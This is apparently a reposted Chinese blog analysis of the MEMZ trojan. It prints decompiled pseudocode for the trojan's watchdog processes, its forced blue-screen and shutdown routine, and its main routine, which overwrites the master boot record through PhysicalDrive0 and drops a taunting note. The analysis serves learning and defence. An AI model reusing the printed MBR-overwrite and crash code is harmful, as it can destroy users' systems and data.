彩虹貓的分析和梳理


彩虹貓分析

現象

image-20211005231951692

image-20211005232037894

image-20211005232056866

image-20211005232235978

image-20211006222820408

image-20211005232309896

image-20211005232332300

image-20211006222505586

  • 自動彈出多個瀏覽器搜索窗口
  • 鼠標異常晃動
  • 窗口顏色怪異
  • 反復出現系統提示音
  • 出現6個MEMZ進程

image-20211006000846246

image-20211006005748892

發現調用CryptGenRandom函數

查輸入表

image-20211006150659774

控制光標

image-20211006151742588

播放聲音

image-20211006152449595

打開外部程序

image-20211006152556781

DrawIcon --繪制圖標

image-20211006152619672

窗口顏色異常--BitBlt、StretchBlt

image-20211007191218131

調用GetCommandLine和CommandLineToArgv兩個函數獲取命令行參數,之后進入if判斷有無參數:

兩個部分:

有參數部分

"/watchdog"

image-20211007191508323

sub_40114A 監測進程有沒有減少,進程減少就會藍屏關機

void sub_40114A()
{
  HANDLE v1; // eax
  HANDLE v2; // edi
  const CHAR *v3; // ebx
  int v4; // esi
  PROCESSENTRY32W pe; // [esp+Ch] [ebp-23Ch]
  LPCSTR lpString1; // [esp+238h] [ebp-10h]
  int v7; // [esp+23Ch] [ebp-Ch]
  LPCSTR lpString2; // [esp+240h] [ebp-8h]
  HANDLE hProcess; // [esp+244h] [ebp-4h]
  int savedregs; // [esp+248h] [ebp+0h]

  v7 = 0;
  lpString1 = (LPCSTR)LocalAlloc(0x40u, 0x200u);// 該函數用於從局部堆中分配內存供程序使用
  v1 = GetCurrentProcess();                     // 獲取當前進程的一個偽句柄
  GetProcessImageFileNameA(v1, (LPSTR)lpString1, 0x200u);// 獲取進程路徑
  Sleep(0x3E8u);
  while ( 1 )//死循環
  {
    v2 = CreateToolhelp32Snapshot(2u, 0);       // 獲取進程快照。
    pe.dwSize = 556;
    Process32FirstW(v2, &pe);                   // 獲得第一個進程的句柄
    v3 = lpString1;
    v4 = 0;
    do
    {
      hProcess = OpenProcess(0x400u, 0, pe.th32ProcessID);// 用來打開一個已存在的進程對象,並返回進程的句柄
      lpString2 = (LPCSTR)LocalAlloc(0x40u, 0x200u);
      GetProcessImageFileNameA(hProcess, (LPSTR)lpString2, 0x200u);
      if ( !lstrcmpA(v3, lpString2) )           // 對比進程路徑
        ++v4;                                   // 進程數目
      CloseHandle(hProcess);
      LocalFree((HLOCAL)lpString2);
    }
    while ( Process32NextW(v2, &pe) );
    CloseHandle(v2);
    if ( v4 < v7 )                              // 對比進程數目,v7是最大進程數目
      sub_401021((int)&savedregs);              // 創建線程並導致關機
    v7 = v4;
    Sleep(10u);
  }
}

sub_401021 創建線程並導致藍屏關機

sub_401021()
{
  v1 = 20;
  do
  {
    CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);// 創建了20個進程
    Sleep(0x64u);
    --v1;
  }
  while ( v1 );
  v2 = v16;
  v16 = a1;
  v9 = v2;
  v3 = LoadLibraryA("ntdll");                   // 將指定的模塊加載到調用進程的地址空間中
  v4 = GetProcAddress(v3, "RtlAdjustPrivilege");// 檢索指定的動態鏈接庫(DLL)中的輸出庫函數地址
  v5 = GetProcAddress(v3, "NtRaiseHardError");
    //RtlAdjustPrivilege提權后
    //NtRaiseHardError制造系統藍屏
  v6 = (void (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v5;
  if ( v4 && v5 )
  {
    ((void (__cdecl *)(signed int, signed int, _DWORD, char *, int, int))v4)(19, 1, 0, (char *)&v15 + 3, v15, v9);
    v6(-1073741790, 0, 0, 0, 6, &v13);
  }
  v7 = GetCurrentProcess();                     // 返回當前線程的虛擬句柄
  OpenProcessToken(v7, 0x28u, &v14);            // 用來打開與進程相關聯的訪問令牌
  LookupPrivilegeValueW(0, L"SeShutdownPrivilege", (PLUID)&v11);// 查看系統權限的特權值,返回信息到一個LUID結構體里
    //SeShutdownPrivilege關機
  v10 = 1;
  v12 = 2;
  AdjustTokenPrivileges(v14, 0, (PTOKEN_PRIVILEGES)&v10, 0, 0, 0);// 用於啟用或禁止,指定訪問令牌的特權
  return ExitWindowsEx(6u, 0x10007u);           // 用來退出、重啟或注銷系統
}

image-20211007204620583

在分析sub_401021時,StartAddress這個函數沒有辦法進去看。輸出窗口有一條報錯信息。

image-20211007205654544

到匯編窗口看這個函數存在堆棧不平衡所以沒法反匯編,不過可以直接看它用了什么函數和參數

fn 、sub_401A55、dword_402AD0

GetCurrentThreadId、SetWindowsHookExW、UnhookWindowsHookEx

輸出線程id、對窗口下鈎子、卸載鈎子

fn 隨機窗口大小,生成窗口

LRESULT __thiscall fn(void *this, int code, WPARAM wParam, LPARAM lParam)
{
  if ( code == 3 )
  {
    v4 = *(_DWORD **)lParam;
    if ( *(_DWORD *)(*(_DWORD *)lParam + 32) & 0x80400000 )
    {
      v5 = sub_401A55((int)this);               // 生成隨機數
      v6 = dword_405184 - v4[5];
      v7 = v5 % v6;
      v8 = sub_401A55(v6);
      v9 = dword_405188 - v4[4];
      v4[7] = v7;
      v4[6] = v8 % v9;
    }
  }
  return CallNextHookEx(0, code, wParam, lParam);// 調用下一個鈎子
}

sub_401A55 生成隨機數

int __fastcall sub_401A55(int a1)
{
  HCRYPTPROV v1; // eax
  BYTE pbBuffer[4]; // [esp+0h] [ebp-4h]

  *(_DWORD *)pbBuffer = a1;
  v1 = hProv;
  if ( !hProv )
  {
    if ( !CryptAcquireContextW(&hProv, (LPCWSTR)hProv, (LPCWSTR)hProv, 1u, 0xF0000040) )
      ExitProcess(1u);
    v1 = hProv;
  }
  CryptGenRandom(v1, 4u, pbBuffer);             // 生成隨機數
  return *(_DWORD *)pbBuffer & 0x7FFFFFFF;
}

dword_402AD0=1A

lpText 該參數存放的是一些消息,利用v3獲取的隨機數從26條消息中取出一條顯示出來

image-20211007230559780

sub_401000 msg=16/22時(窗口被關閉)會被強制關機

LRESULT __stdcall sub_401000(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
  int savedregs; // [esp+0h] [ebp+0h]
  if ( Msg != 0x10 && Msg != 0x16 )             // 對應WM_CLOSE(當一個窗口或應用程序要關閉時發送一個信號)和WM_ENDSESSION(當系統顏色改變時,發送此消息給所有頂級窗口)
    return DefWindowProcW(hWnd, Msg, wParam, lParam);// 默認窗口處理函數
  sub_401021((int)&savedregs);                  // 創建線程並使藍屏關機
  return 0;
}

無參數部分

可以看到一開始運行病毒彈的消息窗口的內容

image-20211007233244710

image-20211007233556868

兩個彈窗都被確認,使用GetModuleFileNameW獲取當前進程的路徑,當然由LocalAlloc先申請存路徑的空間。然后做5次循環,每次都調用ShellExecuteW,參數v10是剛才得到的樣本進程路徑,以及字符串"/watchdog",即以“/watchdog”為參數,生成5個MEMZ.exe進程。

此時無參變有參然后程序繼續運行

image-20211007234414776

接下來ShellExecute函數生成了,一個參數為main的進程。

main部分

    v2 = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0);
// CreateFileA打開文件或I/O設備   //PhysicalDrive0表示本機的物理驅動器0
//首先打開PhysicalDrive0磁盤
    hObject = v2;     
    if ( v2 == (HANDLE)-1 )
    {
      v12 = 2  
    }
    else
    {
      v3 = 0;
      v4 = LocalAlloc(0x40u, 0x10000u);//從堆中分配0x10000個字節
      v5 = v4;
      do
      {
        ++v3;
        *v5 = v5[byte_402118 - v4];//循環303次寫入303字節
        ++v5;
      }
      while ( v3 < 303 );
      //MBR的前446字節為啟動代碼,寫入的303字節會覆蓋MBR的啟動代碼部分。
      //此操作直接破壞了MBR,如此一來無法將控制權轉交給操作系統,而是執行病毒寫入數據
      v6 = 0;
      do
      {
        v4[v6 + 510] = byte_402248[v6];
        //循環1952次寫入1952字節,從510偏移處開始向后寫入,這次應該是病毒內容
        ++v6;
      }
      while ( v6 < 1952 );
      if ( !WriteFile(v2, v4, 0x10000u, &NumberOfBytesWritten, 0) )
        JUMPOUT(unk_40139D);
      CloseHandle(hObject);

image-20211008000255675

這里前兩個字節,0x55AA 是MBR的結束標志,表明這是有效的主引導扇區

然后是向note.txt中寫入內容

      v7 = CreateFileA("\\note.txt", 0xC0000000, 3u, 0, 2u, 0x80u, 0);
      if ( v7 != (HANDLE)-1
        && WriteFile(
             v7,
             "YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.\r\n"
             "\r\n"
             "Your computer won't boot up again,\r\n"
             "so use it as long as you can!\r\n"
             "\r\n"
             ":D\r\n"
             "\r\n"
             "Trying to kill MEMZ will cause your system to be\r\n"
             "destroyed instantly, so don't try it :D",
             0xDAu,
             &NumberOfBytesWritten,
             0) )
      {
        CloseHandle(v7);                        // 關閉了一個線程句柄
        ShellExecuteA(0, 0, "notepad", "\\note.txt", 0, 10);// 打開外部程序notepad
        v8 = 0;
        v9 = (DWORD *)&off_405130;              // 存了十個有實際效果的函數
        do
        {
          Sleep(v9[1]);
          CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_401A2B, v9, 0, 0);
            // 調用上面的十個函數
          ++v8;
          v9 += 2;
        }
        while ( v8 < 10 );
        while ( 1 )
          Sleep(10000u);
      }
    }
    ExitProcess(v12);
  }

off_405130 里面存放的函數如下 里面有調用光標有彈web窗口的...

image-20211008005819685

sub_401A2B 實現函數調用

void __stdcall __noreturn sub_401A2B(LPVOID lpThreadParameter)
{
  v1 = 0;
  v2 = 0;
  v3 = 0;
  while ( 1 )
  {
    v4 = v1--;
    if ( !v4 )
      v1 = (*(int (__cdecl **)(int, int))lpThreadParameter)(v2++, v3);
    ++v3;
    Sleep(0xAu);
  }
}

以上就把這個病毒大致梳理了一遍,下面學習它的原理。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM